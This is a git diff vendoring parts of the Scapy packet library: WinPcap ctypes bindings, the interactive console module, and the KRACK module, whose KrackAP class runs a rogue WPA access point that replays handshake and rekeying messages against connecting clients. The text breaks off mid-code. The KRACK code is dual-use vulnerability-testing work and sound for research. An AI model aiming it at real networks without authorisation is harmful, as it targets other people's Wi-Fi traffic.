pcap_setbuff.argtypes = [POINTER(pcap_t), c_int] + + # int pcap_setmode (pcap_t *p, int mode) + # Set the working mode of the interface p to mode. + pcap_setmode = _lib.pcap_setmode + pcap_setmode.restype = c_int + pcap_setmode.argtypes = [POINTER(pcap_t), c_int] + + # int pcap_setmintocopy (pcap_t *p, int size) + # Set the minimum amount of data received by the kernel in a single call. + pcap_setmintocopy = _lib.pcap_setmintocopy + pcap_setmintocopy.restype = c_int + pcap_setmintocopy.argtype = [POINTER(pcap_t), c_int] + + # HANDLE pcap_getevent (pcap_t *p) + # Return the handle of the event associated with the interface p. + pcap_getevent = _lib.pcap_getevent + pcap_getevent.restype = HANDLE + pcap_getevent.argtypes = [POINTER(pcap_t)] + + # pcap_send_queue * pcap_sendqueue_alloc (u_int memsize) + # Allocate a send queue. + pcap_sendqueue_alloc = _lib.pcap_sendqueue_alloc + pcap_sendqueue_alloc.restype = POINTER(pcap_send_queue) + pcap_sendqueue_alloc.argtypes = [c_uint] + + # void pcap_sendqueue_destroy (pcap_send_queue *queue) + # Destroy a send queue. + pcap_sendqueue_destroy = _lib.pcap_sendqueue_destroy + pcap_sendqueue_destroy.restype = None + pcap_sendqueue_destroy.argtypes = [POINTER(pcap_send_queue)] + + # int pcap_sendqueue_queue (pcap_send_queue *queue, const struct pcap_pkthdr *pkt_header, const u_char *pkt_data) + # Add a packet to a send queue. + pcap_sendqueue_queue = _lib.pcap_sendqueue_queue + pcap_sendqueue_queue.restype = c_int + pcap_sendqueue_queue.argtypes = [ + POINTER(pcap_send_queue), + POINTER(pcap_pkthdr), + POINTER(u_char) + ] + + # u_int pcap_sendqueue_transmit (pcap_t *p, pcap_send_queue *queue, int sync) + # Send a queue of raw packets to the network. + pcap_sendqueue_transmit = _lib.pcap_sendqueue_transmit + pcap_sendqueue_transmit.retype = u_int + pcap_sendqueue_transmit.argtypes = [ + POINTER(pcap_t), POINTER(pcap_send_queue), c_int] + + # int pcap_findalldevs_ex (char *source, struct pcap_rmtauth *auth, pcap_if_t **alldevs, char *errbuf) + # Create a list of network devices that can be opened with pcap_open(). + pcap_findalldevs_ex = _lib.pcap_findalldevs_ex + pcap_findalldevs_ex.retype = c_int + pcap_findalldevs_ex.argtypes = [ + STRING, + POINTER(pcap_rmtauth), + POINTER( + POINTER(pcap_if_t) + ), + STRING + ] + + # int pcap_createsrcstr (char *source, int type, const char *host, const char *port, const char *name, char *errbuf) + # Accept a set of strings (host name, port, ...), and it returns the + # complete source string according to the new format (e.g. + # 'rpcap://1.2.3.4/eth0'). + pcap_createsrcstr = _lib.pcap_createsrcstr + pcap_createsrcstr.restype = c_int + pcap_createsrcstr.argtypes = [ + STRING, c_int, STRING, STRING, STRING, STRING + ] + + # int pcap_parsesrcstr (const char *source, int *type, char *host, char *port, char *name, char *errbuf) + # Parse the source string and returns the pieces in which the source can + # be split. + pcap_parsesrcstr = _lib.pcap_parsesrcstr + pcap_parsesrcstr.retype = c_int + pcap_parsesrcstr.argtypes = [ + STRING, + POINTER(c_int), + STRING, + STRING, + STRING, + STRING + ] + + # pcap_t * pcap_open (const char *source, int snaplen, int flags, int read_timeout, struct pcap_rmtauth *auth, char *errbuf) + # Open a generic source in order to capture / send (WinPcap only) traffic. + pcap_open = _lib.pcap_open + pcap_open.restype = POINTER(pcap_t) + pcap_open.argtypes = [ + STRING, + c_int, + c_int, + c_int, + POINTER(pcap_rmtauth), + STRING + ] + + # struct pcap_samp * pcap_setsampling (pcap_t *p) + # Define a sampling method for packet capture. + pcap_setsampling = _lib.pcap_setsampling + pcap_setsampling.restype = POINTER(pcap_samp) + pcap_setsampling.argtypes = [POINTER(pcap_t)] + + # SOCKET pcap_remoteact_accept (const char *address, const char *port, const char *hostlist, char *connectinghost, struct pcap_rmtauth *auth, char *errbuf) + # Block until a network connection is accepted (active mode only). + pcap_remoteact_accept = _lib.pcap_remoteact_accept + pcap_remoteact_accept.restype = SOCKET + pcap_remoteact_accept.argtypes = [ + STRING, + STRING, + STRING, + STRING, + POINTER(pcap_rmtauth), + STRING + ] + + # int pcap_remoteact_close (const char *host, char *errbuf) + # Drop an active connection (active mode only). + pcap_remoteact_close = _lib.pcap_remoteact_close + pcap_remoteact_close.restypes = c_int + pcap_remoteact_close.argtypes = [STRING, STRING] + + # void pcap_remoteact_cleanup () + # Clean the socket that is currently used in waiting active connections. + pcap_remoteact_cleanup = _lib.pcap_remoteact_cleanup + pcap_remoteact_cleanup.restypes = None + pcap_remoteact_cleanup.argtypes = [] + + # int pcap_remoteact_list (char *hostlist, char sep, int size, char *errbuf) + # Return the hostname of the host that have an active connection with us + # (active mode only). + pcap_remoteact_list = _lib.pcap_remoteact_list + pcap_remoteact_list.restype = c_int + pcap_remoteact_list.argtypes = [STRING, c_char, c_int, STRING] diff --git a/libs/scapy/main.py b/libs/scapy/main.py new file mode 100755 index 0000000..c77d38a --- /dev/null +++ b/libs/scapy/main.py @@ -0,0 +1,721 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Main module for interactive startup. +""" + +from __future__ import absolute_import +from __future__ import print_function + +import sys +import os +import getopt +import code +import gzip +import glob +import importlib +import io +import logging +import types +import warnings +from random import choice + +# Never add any global import, in main.py, that would trigger a +# warning message before the console handlers gets added in interact() +from scapy.error import log_interactive, log_loading, log_scapy, \ + Scapy_Exception, ScapyColoredFormatter +import scapy.modules.six as six +from scapy.themes import DefaultTheme, BlackAndWhite, apply_ipython_style +from scapy.consts import WINDOWS + +from scapy.compat import cast, Any, Dict, List, Optional, Tuple, Union + +IGNORED = list(six.moves.builtins.__dict__) + +LAYER_ALIASES = { + "tls": "tls.all" +} + +QUOTES = [ + ("Craft packets like it is your last day on earth.", "Lao-Tze"), + ("Craft packets like I craft my beer.", "Jean De Clerck"), + ("Craft packets before they craft you.", "Socrate"), + ("Craft me if you can.", "IPv6 layer"), + ("To craft a packet, you have to be a packet, and learn how to swim in " + "the wires and in the waves.", "Jean-Claude Van Damme"), + ("We are in France, we say Skappee. OK? Merci.", "Sebastien Chabal"), + ("Wanna support scapy? Rate it on sectools! " + "http://sectools.org/tool/scapy/", "Satoshi Nakamoto"), + ("What is dead may never die!", "Python 2"), +] + + +def _probe_config_file(cf): + # type: (str) -> Union[str, None] + cf_path = os.path.join(os.path.expanduser("~"), cf) + try: + os.stat(cf_path) + except OSError: + return None + else: + return cf_path + + +def _read_config_file(cf, _globals=globals(), _locals=locals(), + interactive=True): + # type: (str, Dict[str, Any], Dict[str, Any], bool) -> None + """Read a config file: execute a python file while loading scapy, that + may contain some pre-configured values. + + If _globals or _locals are specified, they will be updated with + the loaded vars. This allows an external program to use the + function. Otherwise, vars are only available from inside the scapy + console. + + params: + - _globals: the globals() vars + - _locals: the locals() vars + - interactive: specified whether or not errors should be printed + using the scapy console or raised. + + ex, content of a config.py file: + 'conf.verb = 42\n' + Manual loading: + >>> _read_config_file("./config.py")) + >>> conf.verb + 42 + + """ + log_loading.debug("Loading config file [%s]", cf) + try: + with open(cf) as cfgf: + exec( + compile(cfgf.read(), cf, 'exec'), + _globals, _locals + ) + except IOError as e: + if interactive: + raise + log_loading.warning("Cannot read config file [%s] [%s]", cf, e) + except Exception: + if interactive: + raise + log_loading.exception("Error during evaluation of config file [%s]", + cf) + + +def _validate_local(x): + # type: (str) -> bool + """Returns whether or not a variable should be imported. + Will return False for any default modules (sys), or if + they are detected as private vars (starting with a _)""" + global IGNORED + return x[0] != "_" and x not in IGNORED + + +DEFAULT_PRESTART_FILE = _probe_config_file(".scapy_prestart.py") +DEFAULT_STARTUP_FILE = _probe_config_file(".scapy_startup.py") + + +def _usage(): + # type: () -> None + print( + "Usage: scapy.py [-s sessionfile] [-c new_startup_file] " + "[-p new_prestart_file] [-C] [-P] [-H]\n" + "Args:\n" + "\t-H: header-less start\n" + "\t-C: do not read startup file\n" + "\t-P: do not read pre-startup file\n" + ) + sys.exit(0) + + +###################### +# Extension system # +###################### + + +def _load(module, globals_dict=None, symb_list=None): + # type: (str, Optional[Dict[str, Any]], Optional[List[str]]) -> None + """Loads a Python module to make variables, objects and functions +available globally. + + The idea is to load the module using importlib, then copy the +symbols to the global symbol table. + + """ + if globals_dict is None: + globals_dict = six.moves.builtins.__dict__ + try: + mod = importlib.import_module(module) + if '__all__' in mod.__dict__: + # import listed symbols + for name in mod.__dict__['__all__']: + if symb_list is not None: + symb_list.append(name) + globals_dict[name] = mod.__dict__[name] + else: + # only import non-private symbols + for name, sym in six.iteritems(mod.__dict__): + if _validate_local(name): + if symb_list is not None: + symb_list.append(name) + globals_dict[name] = sym + except Exception: + log_interactive.error("Loading module %s", module, exc_info=True) + + +def load_module(name, globals_dict=None, symb_list=None): + # type: (str, Optional[Dict[str, Any]], Optional[List[str]]) -> None + """Loads a Scapy module to make variables, objects and functions + available globally. + + """ + _load("scapy.modules." + name, + globals_dict=globals_dict, symb_list=symb_list) + + +def load_layer(name, globals_dict=None, symb_list=None): + # type: (str, Optional[Dict[str, Any]], Optional[List[str]]) -> None + """Loads a Scapy layer module to make variables, objects and functions + available globally. + + """ + _load("scapy.layers." + LAYER_ALIASES.get(name, name), + globals_dict=globals_dict, symb_list=symb_list) + + +def load_contrib(name, globals_dict=None, symb_list=None): + # type: (str, Optional[Dict[str, Any]], Optional[List[str]]) -> None + """Loads a Scapy contrib module to make variables, objects and + functions available globally. + + If no contrib module can be found with the given name, try to find + a layer module, since a contrib module may become a layer module. + + """ + try: + importlib.import_module("scapy.contrib." + name) + _load("scapy.contrib." + name, + globals_dict=globals_dict, symb_list=symb_list) + except ImportError as e: + # if layer not found in contrib, try in layers + try: + load_layer(name, + globals_dict=globals_dict, symb_list=symb_list) + except ImportError: + raise e # Let's raise the original error to avoid confusion + + +def list_contrib(name=None, # type: Optional[str] + ret=False, # type: bool + _debug=False # type: bool + ): + # type: (...) -> Optional[List[Dict[str, Union[str, None]]]] + """Show the list of all existing contribs. + + :param name: filter to search the contribs + :param ret: whether the function should return a dict instead of + printing it + :returns: None or a dictionary containing the results if ret=True + """ + # _debug: checks that all contrib modules have correctly defined: + # # scapy.contrib.description = [...] + # # scapy.contrib.status = [...] + # # scapy.contrib.name = [...] (optional) + # or set the flag: + # # scapy.contrib.description = skip + # to skip the file + if name is None: + name = "*.py" + elif "*" not in name and "?" not in name and not name.endswith(".py"): + name += ".py" + results = [] # type: List[Dict[str, Union[str, None]]] + dir_path = os.path.join(os.path.dirname(__file__), "contrib") + if sys.version_info >= (3, 5): + name = os.path.join(dir_path, "**", name) + iterator = glob.iglob(name, recursive=True) + else: + name = os.path.join(dir_path, name) + iterator = glob.iglob(name) + for f in iterator: + mod = f.replace(os.path.sep, ".").partition("contrib.")[2] + if mod.startswith("__"): + continue + if mod.endswith(".py"): + mod = mod[:-3] + desc = {"description": None, "status": None, "name": mod} + with io.open(f, errors="replace") as fd: + for l in fd: + if l[0] != "#": + continue + p = l.find("scapy.contrib.") + if p >= 0: + p += 14 + q = l.find("=", p) + key = l[p:q].strip() + value = l[q + 1:].strip() + desc[key] = value + if desc["status"] == "skip": + break + if desc["description"] and desc["status"]: + results.append(desc) + break + if _debug: + if desc["status"] == "skip": + pass + elif not desc["description"] or not desc["status"]: + raise Scapy_Exception("Module %s is missing its " + "contrib infos !" % mod) + results.sort(key=lambda x: x["name"]) + if ret: + return results + else: + for desc in results: + print("%(name)-20s: %(description)-40s status=%(status)s" % desc) + return None + + +############################## +# Session saving/restoring # +############################## + +def update_ipython_session(session): + # type: (Dict[str, Any]) -> None + """Updates IPython session with a custom one""" + try: + from IPython import get_ipython + get_ipython().user_ns.update(session) + except Exception: + pass + + +def save_session(fname="", session=None, pickleProto=-1): + # type: (str, Optional[Dict[str, Any]], int) -> None + """Save current Scapy session to the file specified in the fname arg. + + params: + - fname: file to save the scapy session in + - session: scapy session to use. If None, the console one will be used + - pickleProto: pickle proto version (default: -1 = latest)""" + from scapy import utils + from scapy.config import conf, ConfClass + if not fname: + fname = conf.session + if not fname: + conf.session = fname = utils.get_temp_file(keep=True) + log_interactive.info("Use [%s] as session file" % fname) + + if not session: + try: + from IPython import get_ipython + session = get_ipython().user_ns + except Exception: + session = six.moves.builtins.__dict__["scapy_session"] + + to_be_saved = cast(Dict[str, Any], session).copy() + if "__builtins__" in to_be_saved: + del(to_be_saved["__builtins__"]) + + for k in list(to_be_saved): + i = to_be_saved[k] + if hasattr(i, "__module__") and (k[0] == "_" or + i.__module__.startswith("IPython")): + del(to_be_saved[k]) + if isinstance(i, ConfClass): + del(to_be_saved[k]) + elif isinstance(i, (type, type, types.ModuleType)): + if k[0] != "_": + log_interactive.error("[%s] (%s) can't be saved.", k, + type(to_be_saved[k])) + del(to_be_saved[k]) + + try: + os.rename(fname, fname + ".bak") + except OSError: + pass + + f = gzip.open(fname, "wb") + six.moves.cPickle.dump(to_be_saved, f, pickleProto) + f.close() + + +def load_session(fname=None): + # type: (Optional[Union[str, None]]) -> None + """Load current Scapy session from the file specified in the fname arg. + This will erase any existing session. + + params: + - fname: file to load the scapy session from""" + from scapy.config import conf + if fname is None: + fname = conf.session + try: + s = six.moves.cPickle.load(gzip.open(fname, "rb")) + except IOError: + try: + s = six.moves.cPickle.load(open(fname, "rb")) + except IOError: + # Raise "No such file exception" + raise + + scapy_session = six.moves.builtins.__dict__["scapy_session"] + scapy_session.clear() + scapy_session.update(s) + update_ipython_session(scapy_session) + + log_loading.info("Loaded session [%s]" % fname) + + +def update_session(fname=None): + # type: (Optional[Union[str, None]]) -> None + """Update current Scapy session from the file specified in the fname arg. + + params: + - fname: file to load the scapy session from""" + from scapy.config import conf + if fname is None: + fname = conf.session + try: + s = six.moves.cPickle.load(gzip.open(fname, "rb")) + except IOError: + s = six.moves.cPickle.load(open(fname, "rb")) + scapy_session = six.moves.builtins.__dict__["scapy_session"] + scapy_session.update(s) + update_ipython_session(scapy_session) + + +def init_session(session_name, # type: Optional[Union[str, None]] + mydict=None # type: Optional[Union[Dict[str, Any], None]] + ): + # type: (...) -> Tuple[Dict[str, Any], List[str]] + from scapy.config import conf + SESSION = {} # type: Dict[str, Any] + GLOBKEYS = [] # type: List[str] + + scapy_builtins = {k: v + for k, v in six.iteritems( + importlib.import_module(".all", "scapy").__dict__ + ) + if _validate_local(k)} + six.moves.builtins.__dict__.update(scapy_builtins) + GLOBKEYS.extend(scapy_builtins) + GLOBKEYS.append("scapy_session") + + if session_name: + try: + os.stat(session_name) + except OSError: + log_loading.info("New session [%s]" % session_name) + else: + try: + try: + SESSION = six.moves.cPickle.load(gzip.open(session_name, + "rb")) + except IOError: + SESSION = six.moves.cPickle.load(open(session_name, "rb")) + log_loading.info("Using session [%s]" % session_name) + except ValueError: + msg = "Error opening Python3 pickled session on Python2 [%s]" + log_loading.error(msg % session_name) + except EOFError: + log_loading.error("Error opening session [%s]" % session_name) + except AttributeError: + log_loading.error("Error opening session [%s]. " + "Attribute missing" % session_name) + + if SESSION: + if "conf" in SESSION: + conf.configure(SESSION["conf"]) + conf.session = session_name + SESSION["conf"] = conf + else: + conf.session = session_name + else: + conf.session = session_name + SESSION = {"conf": conf} + else: + SESSION = {"conf": conf} + + six.moves.builtins.__dict__["scapy_session"] = SESSION + + if mydict is not None: + six.moves.builtins.__dict__["scapy_session"].update(mydict) + update_ipython_session(mydict) + GLOBKEYS.extend(mydict) + return SESSION, GLOBKEYS + +################ +# Main # +################ + + +def _prepare_quote(quote, author, max_len=78): + # type: (str, str, int) -> List[str] + """This function processes a quote and returns a string that is ready +to be used in the fancy prompt. + + """ + _quote = quote.split(' ') + max_len -= 6 + lines = [] + cur_line = [] # type: List[str] + + def _len(line): + # type: (List[str]) -> int + return sum(len(elt) for elt in line) + len(line) - 1 + while _quote: + if not cur_line or (_len(cur_line) + len(_quote[0]) - 1 <= max_len): + cur_line.append(_quote.pop(0)) + continue + lines.append(' | %s' % ' '.join(cur_line)) + cur_line = [] + if cur_line: + lines.append(' | %s' % ' '.join(cur_line)) + cur_line = [] + lines.append(' | %s-- %s' % (" " * (max_len - len(author) - 5), author)) + return lines + + +def interact(mydict=None, argv=None, mybanner=None, loglevel=logging.INFO): + # type: (Optional[Any], Optional[Any], Optional[Any], int) -> None + """Starts Scapy's console.""" + try: + if WINDOWS: + # colorama is bundled within IPython. + # logging.StreamHandler will be overwritten when called, + # We can't wait for IPython to call it + import colorama + colorama.init() + # Success + console_handler = logging.StreamHandler() + console_handler.setFormatter( + ScapyColoredFormatter( + "%(levelname)s: %(message)s", + ) + ) + except ImportError: + # Failure: ignore colors in the logger + console_handler = logging.StreamHandler() + console_handler.setFormatter( + logging.Formatter( + "%(levelname)s: %(message)s", + ) + ) + log_scapy.addHandler(console_handler) + + # We're in interactive mode, let's throw the DeprecationWarnings + warnings.simplefilter("always") + + from scapy.config import conf + conf.interactive = True + conf.color_theme = DefaultTheme() + if loglevel is not None: + conf.logLevel = loglevel + + STARTUP_FILE = DEFAULT_STARTUP_FILE + PRESTART_FILE = DEFAULT_PRESTART_FILE + + session_name = None + + if argv is None: + argv = sys.argv + + try: + opts = getopt.getopt(argv[1:], "hs:Cc:Pp:d:H") + for opt, parm in opts[0]: + if opt == "-h": + _usage() + elif opt == "-H": + conf.fancy_prompt = False + conf.verb = 30 + elif opt == "-s": + session_name = parm + elif opt == "-c": + STARTUP_FILE = parm + elif opt == "-C": + STARTUP_FILE = None + elif opt == "-p": + PRESTART_FILE = parm + elif opt == "-P": + PRESTART_FILE = None + elif opt == "-d": + conf.logLevel = max(1, conf.logLevel - 10) + + if len(opts[1]) > 0: + raise getopt.GetoptError( + "Too many parameters : [%s]" % " ".join(opts[1]) + ) + + except getopt.GetoptError as msg: + log_loading.error(msg) + sys.exit(1) + + # Reset sys.argv, otherwise IPython thinks it is for him + sys.argv = sys.argv[:1] + + SESSION, GLOBKEYS = init_session(session_name, mydict) + + if STARTUP_FILE: + _read_config_file(STARTUP_FILE, interactive=True) + if PRESTART_FILE: + _read_config_file(PRESTART_FILE, interactive=True) + + if not conf.interactive_shell or conf.interactive_shell.lower() in [ + "ipython", "auto" + ]: + try: + import IPython + from IPython import start_ipython + except ImportError: + log_loading.warning( + "IPython not available. Using standard Python shell " + "instead.\nAutoCompletion, History are disabled." + ) + if WINDOWS: + log_loading.warning( + "On Windows, colors are also disabled" + ) + conf.color_theme = BlackAndWhite() + IPYTHON = False + else: + IPYTHON = True + else: + IPYTHON = False + + if conf.fancy_prompt: + from scapy.utils import get_terminal_width + mini_banner = (get_terminal_width() or 84) <= 75 + + the_logo = [ + " ", + " aSPY//YASa ", + " apyyyyCY//////////YCa ", + " sY//////YSpcs scpCY//Pp ", + " ayp ayyyyyyySCP//Pp syY//C ", + " AYAsAYYYYYYYY///Ps cY//S", + " pCCCCY//p cSSps y//Y", + " SPPPP///a pP///AC//Y", + " A//A cyP////C", + " p///Ac sC///a", + " P////YCpc A//A", + " scccccp///pSP///p p//Y", + " sY/////////y caa S//P", + " cayCyayP//Ya pY/Ya", + " sY/PsY////YCc aC//Yp ", + " sc sccaCY//PCypaapyCP//YSs ", + " spCPY//////YPSps ", + " ccaacs ", + " ", + ] + + # Used on mini screens + the_logo_mini = [ + " .SYPACCCSASYY ", + "P /SCS/CCS ACS", + " /A AC", + " A/PS /SPPS", + " YP (SC", + " SPS/A. SC", + " Y/PACC PP", + " PY*AYC CAA", + " YYCY//SCYP ", + ] + + the_banner = [ + "", + "", + " |", + " | Welcome to Scapy", + " | Version %s" % conf.version, + " |", + " | https://github.com/secdev/scapy", + " |", + " | Have fun!", + " |", + ] + + if mini_banner: + the_logo = the_logo_mini + the_banner = [x[2:] for x in the_banner[3:-1]] + the_banner = [""] + the_banner + [""] + else: + quote, author = choice(QUOTES) + the_banner.extend(_prepare_quote(quote, author, max_len=39)) + the_banner.append(" |") + banner_text = "\n".join( + logo + banner for logo, banner in six.moves.zip_longest( + (conf.color_theme.logo(line) for line in the_logo), + (conf.color_theme.success(line) for line in the_banner), + fillvalue="" + ) + ) + else: + banner_text = "Welcome to Scapy (%s)" % conf.version + if mybanner is not None: + banner_text += "\n" + banner_text += mybanner + + if IPYTHON: + banner = banner_text + " using IPython %s\n" % IPython.__version__ + try: + from traitlets.config.loader import Config + except ImportError: + log_loading.warning( + "traitlets not available. Some Scapy shell features won't be " + "available." + ) + try: + start_ipython( + display_banner=False, + user_ns=SESSION, + exec_lines=["print(\"\"\"" + banner + "\"\"\")"] + ) + except Exception: + code.interact(banner=banner_text, local=SESSION) + else: + cfg = Config() + try: + from IPython import get_ipython + if not get_ipython(): + raise ImportError + except ImportError: + # Set "classic" prompt style when launched from + # run_scapy(.bat) files Register and apply scapy + # color+prompt style + apply_ipython_style(shell=cfg.TerminalInteractiveShell) + cfg.TerminalInteractiveShell.confirm_exit = False + cfg.TerminalInteractiveShell.separate_in = u'' + if int(IPython.__version__[0]) >= 6: + cfg.TerminalInteractiveShell.term_title_format = ("Scapy v%s" % + conf.version) + # As of IPython 6-7, the jedi completion module is a dumpster + # of fire that should be scrapped never to be seen again. + cfg.Completer.use_jedi = False + else: + cfg.TerminalInteractiveShell.term_title = False + cfg.HistoryAccessor.hist_file = conf.histfile + cfg.InteractiveShell.banner1 = banner + # configuration can thus be specified here. + try: + start_ipython(config=cfg, user_ns=SESSION) + except (AttributeError, TypeError): + code.interact(banner=banner_text, local=SESSION) + else: + code.interact(banner=banner_text, local=SESSION) + + if conf.session: + save_session(conf.session, SESSION) + + for k in GLOBKEYS: + try: + del(six.moves.builtins.__dict__[k]) + except Exception: + pass + + +if __name__ == "__main__": + interact() diff --git a/libs/scapy/modules/__init__.py b/libs/scapy/modules/__init__.py new file mode 100755 index 0000000..ca69c4b --- /dev/null +++ b/libs/scapy/modules/__init__.py @@ -0,0 +1,8 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# This program is published under a GPLv2 license + +""" +Package of extension modules that have to be loaded explicitly. +""" diff --git a/libs/scapy/modules/krack/__init__.py b/libs/scapy/modules/krack/__init__.py new file mode 100755 index 0000000..229a43b --- /dev/null +++ b/libs/scapy/modules/krack/__init__.py @@ -0,0 +1,36 @@ +"""Module implementing Krack Attack on client, as a custom WPA Access Point + +Requires the python cryptography package v1.7+. See https://cryptography.io/ + +More details on the attack can be found on https://www.krackattacks.com/ + +Example of use (from the scapy shell): +>>> load_module("krack") +>>> KrackAP( + iface="mon0", # A monitor interface + ap_mac='11:22:33:44:55:66', # MAC (BSSID) to use + ssid="TEST_KRACK", # SSID + passphrase="testtest", # Associated passphrase +).run() + +Then, on the target device, connect to "TEST_KRACK" using "testtest" as the +passphrase. +The output logs will indicate if one of the vulnerability have been triggered. + +Outputs for vulnerable devices: +- IV re-use!! Client seems to be vulnerable to handshake 3/4 replay + (CVE-2017-13077) +- Broadcast packet accepted twice!! (CVE-2017-13080) +- Client has installed an all zero encryption key (TK)!! + +For patched devices: +- Client is likely not vulnerable to CVE-2017-13080 +""" + +from scapy.config import conf + +if conf.crypto_valid: + from scapy.modules.krack.automaton import KrackAP # noqa: F401 +else: + raise ImportError("Cannot import Krack module due to missing dependency. " + "Please install python{3}-cryptography v1.7+.") diff --git a/libs/scapy/modules/krack/automaton.py b/libs/scapy/modules/krack/automaton.py new file mode 100755 index 0000000..cdb74dc --- /dev/null +++ b/libs/scapy/modules/krack/automaton.py @@ -0,0 +1,895 @@ +import hmac +import hashlib +from itertools import count +import struct +import time + +from cryptography.hazmat.primitives import hashes +from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC +from cryptography.hazmat.backends import default_backend + +from scapy.automaton import ATMT, Automaton +from scapy.base_classes import Net +from scapy.config import conf +from scapy.compat import raw, chb +from scapy.consts import WINDOWS +from scapy.error import log_runtime, Scapy_Exception +from scapy.layers.dot11 import RadioTap, Dot11, Dot11AssoReq, Dot11AssoResp, \ + Dot11Auth, Dot11Beacon, Dot11Elt, Dot11EltRates, Dot11EltRSN, \ + Dot11ProbeReq, Dot11ProbeResp, RSNCipherSuite, AKMSuite +from scapy.layers.eap import EAPOL +from scapy.layers.l2 import ARP, LLC, SNAP, Ether +from scapy.layers.dhcp import DHCP_am +from scapy.packet import Raw +from scapy.utils import hexdump, mac2str +from scapy.volatile import RandBin + + +from scapy.modules.krack.crypto import parse_data_pkt, parse_TKIP_hdr, \ + build_TKIP_payload, check_MIC_ICV, MICError, ICVError, build_MIC_ICV, \ + customPRF512, ARC4_encrypt + + +class DHCPOverWPA(DHCP_am): + """Wrapper over DHCP_am to send and recv inside a WPA channel""" + + def __init__(self, send_func, *args, **kwargs): + super(DHCPOverWPA, self).__init__(*args, **kwargs) + self.send_function = send_func + + def sniff(self, *args, **kwargs): + # Do not sniff, use a direct call to 'replay(pkt)' instead + return + + +class KrackAP(Automaton): + """Tiny WPA AP for detecting client vulnerable to KRACK attacks defined in: + "Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2" + + Example of use: + KrackAP( + iface="mon0", # A monitor interface + ap_mac='11:22:33:44:55:66', # MAC to use + ssid="TEST_KRACK", # SSID + passphrase="testtest", # Associated passphrase + ).run() + + Then, on the target device, connect to "TEST_KRACK" using "testtest" as the + passphrase. + The output logs will indicate if one of the CVE have been triggered. + """ + + # Number of "GTK rekeying -> ARP replay" attempts. The vulnerability may not # noqa: E501 + # be detected the first time. Several attempt implies the client has been + # likely patched + ARP_MAX_RETRY = 50 + + def __init__(self, *args, **kargs): + kargs.setdefault("ll", conf.L2socket) + kargs.setdefault("monitor", True) + super(KrackAP, self).__init__(*args, **kargs) + + def parse_args(self, ap_mac, ssid, passphrase, + channel=None, + # KRACK attack options + double_3handshake=True, + encrypt_3handshake=True, + wait_3handshake=0, + double_gtk_refresh=True, + arp_target_ip=None, + arp_source_ip=None, + wait_gtk=10, + **kwargs): + """ + Mandatory arguments: + @iface: interface to use (must be in monitor mode) + @ap_mac: AP's MAC + @ssid: AP's SSID + @passphrase: AP's Passphrase (min 8 char.) + + Optional arguments: + @channel: used by the interface. Default 6, autodetected on windows + + Krack attacks options: + + - Msg 3/4 handshake replay: + double_3handshake: double the 3/4 handshake message + encrypt_3handshake: encrypt the second 3/4 handshake message + wait_3handshake: time to wait (in sec.) before sending the second 3/4 + - double GTK rekeying: + double_gtk_refresh: double the 1/2 GTK rekeying message + wait_gtk: time to wait (in sec.) before sending the GTK rekeying + arp_target_ip: Client IP to use in ARP req. (to detect attack success) + If None, use a DHCP server + arp_source_ip: Server IP to use in ARP req. (to detect attack success) + If None, use the DHCP server gateway address + """ + super(KrackAP, self).parse_args(**kwargs) + + # Main AP options + self.mac = ap_mac + self.ssid = ssid + self.passphrase = passphrase + if channel is None: + if WINDOWS: + try: + channel = kwargs.get("iface", conf.iface).channel() + except (Scapy_Exception, AttributeError): + channel = 6 + else: + channel = 6 + self.channel = channel + + # Internal structures + self.last_iv = None + self.client = None + self.seq_num = count() + self.replay_counter = count() + self.time_handshake_end = None + self.dhcp_server = DHCPOverWPA(send_func=self.send_ether_over_wpa, + pool=Net("192.168.42.128/25"), + network="192.168.42.0/24", + gw="192.168.42.1") + self.arp_sent = [] + self.arp_to_send = 0 + self.arp_retry = 0 + + # Bit 0: 3way handshake sent + # Bit 1: GTK rekeying sent + # Bit 2: ARP response obtained + self.krack_state = 0 + + # Krack options + self.double_3handshake = double_3handshake + self.encrypt_3handshake = encrypt_3handshake + self.wait_3handshake = wait_3handshake + self.double_gtk_refresh = double_gtk_refresh + self.arp_target_ip = arp_target_ip + if arp_source_ip is None: + # Use the DHCP server Gateway address + arp_source_ip = self.dhcp_server.gw + self.arp_source_ip = arp_source_ip + self.wait_gtk = wait_gtk + + # May take several seconds + self.install_PMK() + + def run(self, *args, **kwargs): + log_runtime.warning("AP started with ESSID: %s, BSSID: %s", + self.ssid, self.mac) + super(KrackAP, self).run(*args, **kwargs) + + # Key utils + + @staticmethod + def gen_nonce(size): + """Return a nonce of @size element of random bytes as a string""" + return raw(RandBin(size)) + + def install_PMK(self): + """Compute and install the PMK""" + self.pmk = PBKDF2HMAC( + algorithm=hashes.SHA1(), + length=32, + salt=self.ssid.encode(), + iterations=4096, + backend=default_backend(), + ).derive(self.passphrase.encode()) + + def install_unicast_keys(self, client_nonce): + """Use the client nonce @client_nonce to compute and install + PTK, KCK, KEK, TK, MIC (AP -> STA), MIC (STA -> AP) + """ + pmk = self.pmk + anonce = self.anonce + snonce = client_nonce + amac = mac2str(self.mac) + smac = mac2str(self.client) + + # Compute PTK + self.ptk = customPRF512(pmk, amac, smac, anonce, snonce) + + # Extract derivated keys + self.kck = self.ptk[:16] + self.kek = self.ptk[16:32] + self.tk = self.ptk[32:48] + self.mic_ap_to_sta = self.ptk[48:56] + self.mic_sta_to_ap = self.ptk[56:64] + + # Reset IV + self.client_iv = count() + + def install_GTK(self): + """Compute a new GTK and install it alongs + MIC (AP -> Group = broadcast + multicast) + """ + + # Compute GTK + self.gtk_full = self.gen_nonce(32) + self.gtk = self.gtk_full[:16] + + # Extract derivated keys + self.mic_ap_to_group = self.gtk_full[16:24] + + # Reset IV + self.group_iv = count() + + # Packet utils + + def build_ap_info_pkt(self, layer_cls, dest): + """Build a packet with info describing the current AP + For beacon / proberesp use + """ + return RadioTap() \ + / Dot11(addr1=dest, addr2=self.mac, addr3=self.mac) \ + / layer_cls(timestamp=0, beacon_interval=100, + cap='ESS+privacy') \ + / Dot11Elt(ID="SSID", info=self.ssid) \ + / Dot11EltRates(rates=[130, 132, 139, 150, 12, 18, 24, 36]) \ + / Dot11Elt(ID="DSset", info=chb(self.channel)) \ + / Dot11EltRSN(group_cipher_suite=RSNCipherSuite(cipher=0x2), + 